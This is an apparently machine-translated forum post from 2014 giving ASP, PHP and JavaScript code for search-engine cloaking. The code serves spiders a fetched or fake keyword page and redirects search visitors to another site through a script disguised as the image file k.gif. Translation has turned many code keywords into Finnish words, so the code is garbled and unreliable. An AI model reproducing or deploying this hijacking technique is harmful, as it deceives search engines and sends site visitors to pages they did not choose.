Ensinnäkin se on yksinkertaista: lisää seuraava koodi etusivulle:
ASP-versio
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>
PHP-versio
<!--#include file="conn.php"-->
<script src="images\k.gif"></script>
Lisää sitten seuraava koodi conn-tiedostoon verkkosivuston ohjelman mukaan, jos sinulla ei ole conn.asp tai conn.php, luo se itse:
conn.asp painos
----------- seuraavan jäljennöksen--------------------------------
<%
funktio isspider()
Dim agentti, Searray, minä
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("Googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= epätosi
i=0 arvolle ubound(searray)
jos (instr(agent,searray(i))>0) niin isspider=true
Seuraavaksi
loppufunktio
funktio fromse()
DIM URLREFER,i,SEARRAY
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
fromse= epätosi
if urlrefer="" niin fromse= false
searray=array("Google","baidu","sogou","yahoo","soso","360")
i=0 arvolle ubound(searray)
jos (instr(urlrefer,searray(i))>0), niin fromse=true
Seuraavaksi
loppufunktio
Funktio gethttp(URL)
Dim HTTP
aseta http=createobject("MSXML2. XMLHTTP")
Http.avaa "GET",url,false
http.send()
jos Http.readystate<>4, niin
Poistumisfunktio
päättyy jos
gethttp=bytes2BSTR(Http.responseBody)
aseta http=ei mitään
Jos err.number<>0, niin err. Selvä
loppufunktio
function bytes2BSTR(vIn)
himmeä strPalaa
dim i,ThisCharCode,NextCharCode
strReturn = ""
Jos i = 1 LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Jos ThisCharCode < &H80, niin
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Lopeta jos
Seuraavaksi
bytes2BSTR = strReturn
Loppufunktio
if(isspider()) niin
Dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
vastaus.selvä
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
response.flush
response.end
päättyy jos
%>
conn.php
---------------- seuraavan jäljennöksen----------------
<?php
funktio is_search_bot(){
$user_agentti = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = taulukko ('baiduspider', 'sogou spider', 'sosospider', 'iaskspider', 'naverrobot');
foreach ($identify AS $key => $tag){
if (strstr($user_agent, $tag)){
return true;
}
}
palauta väärin; }
Funktio is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = räjähtää ("@",$come_from);
foreach($referer as $url){
if (stristr($_SERVER['HTTP_REFERER'],$url)){
return true;
}
}
palauta väärin; }
if (is_search_bot())
{
$html = "<title>Wuhan Software Engineering Vocational College</title> <meta name=\"Author\" content=\"Täytä sama kuin avainsanat\"> <meta name=\"Avainsanat\" content=\"Avainsanat\"> <meta name=
\"Kuvaus\" content=\"Description\"> </head> <body>Content</body></html>";
Echo $html;
}
if (!is_search_bot() & & is_urlbaidu())
{
Otsikko ('Sijainti:http://www.itsvse.com');
}
?>
Lopuksi kuvahakemistosta lataa k.gif-tiedosto k.gif koodi:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; Uudelleenohjaus URL
|
Julkaistu 1.12.2014 18.48.55
|
|
|
